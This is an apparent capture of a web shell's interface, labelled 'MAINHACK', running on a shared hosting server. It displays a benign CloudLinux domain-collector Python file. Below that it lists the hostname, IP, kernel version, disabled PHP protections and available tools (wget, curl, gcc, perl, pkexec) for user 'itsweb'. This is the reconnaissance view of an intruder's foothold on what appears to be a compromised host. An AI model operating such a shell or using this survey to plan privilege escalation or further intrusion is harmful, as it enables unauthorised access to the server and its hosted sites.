[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: dom_collector.py
File is not writable. Editing disabled.
# -*- coding: utf-8 -*- # # Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2021 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENCE.TXT # pylint: disable=no-absolute-import import os import base64 import lvectllib import subprocess from clcommon.clpwd import ClPwd from clcommon.cpapi import userdomains, list_users from clcommon.const import Feature from clcommon.cpapi import is_panel_feature_supported class DomainCollector: """ Class for print panel users domain docroots. See LU-1751 for details """ def __init__(self): self.is_not_in_lve = not bool(os.environ.get('DOM_COLL_RUNNING_IN_LVE')) self.is_not_limited_process = self.is_not_limited() self._clpwd = ClPwd() @staticmethod def is_not_limited(): is_limited_by_lve = bool(os.environ.get('DOM_COLL_RUNNING_IN_LVE')) is_limited_by_nice = bool(os.environ.get('DOM_COLL_RUNNING_IN_NICE')) return not is_limited_by_lve and not is_limited_by_nice def _get_panel_user_names_list(self): """ Get panel user names list :return: user names list """ panel_uids_list = list(list_users().keys()) panel_users_list = [] for uid in panel_uids_list: try: name = self._clpwd.get_names(uid)[0] panel_users_list.append(name) except ClPwd.NoSuchUserException: pass return panel_users_list def _print_users_doc_roots_and_domains(self): """ Method prints pair `domain,doc_root` for an each user on a server domain is encoded in punycode if it's needed doc_root is always encoded in base64 """ panel_users_list = self._get_panel_user_names_list() for username in panel_users_list: try: for domain, doc_root in userdomains(username): encoded_doc_root = base64.b64encode( doc_root.encode('utf-8'), ).decode('utf-8') print(f'{domain},{encoded_doc_root}') except Exception: # userdomains has very various implementations # in cpapi plugins for different panels, # so we catch common Exception instead separate exceptions pass def run(self): if self.is_not_limited_process: if is_panel_feature_supported(Feature.LVE): try: rc = self._run_self_in_lve() exit(rc) except lvectllib.PyLveError as e: error_msg = 'failed to run task in lve, error: %s' % e print(error_msg) exit(-1) else: rc = self._run_by_nice() exit(rc) else: # We in LVE, collect docroots list self._print_users_doc_roots_and_domains() # TODO: we need this bicycle because method pylve.lve_enter_pid does not work properly (surprise!) # when we call lve_enter_pid, lve limits process only by cpu usage, other parameters are unlimited @staticmethod def _run_self_in_lve(): """ Run same command in lve and set environ RUNNING_IN_LVE=True in order to check it in child process. :return: """ settings = lvectllib.make_liblve_settings( ls_cpu=15, # 15 percents of CPU (NOT core) ls_cpus=0, ls_memory_phy=1024 * 1024 ** 2 # 1gb ) with lvectllib.temporary_lve(settings) as lve_id: return subprocess.call( ['/bin/lve_suwrapper', '-n', str(lve_id), '/usr/bin/cloudlinux_domains_collector'], env=dict(os.environ, DOM_COLL_RUNNING_IN_LVE='1')) @staticmethod def _run_by_nice(): return subprocess.call( ['/usr/bin/nice', '-n', '19', '/usr/bin/cloudlinux_domains_collector'], env=dict( os.environ, DOM_COLL_RUNNING_IN_NICE='1', ) )
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 691.03 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A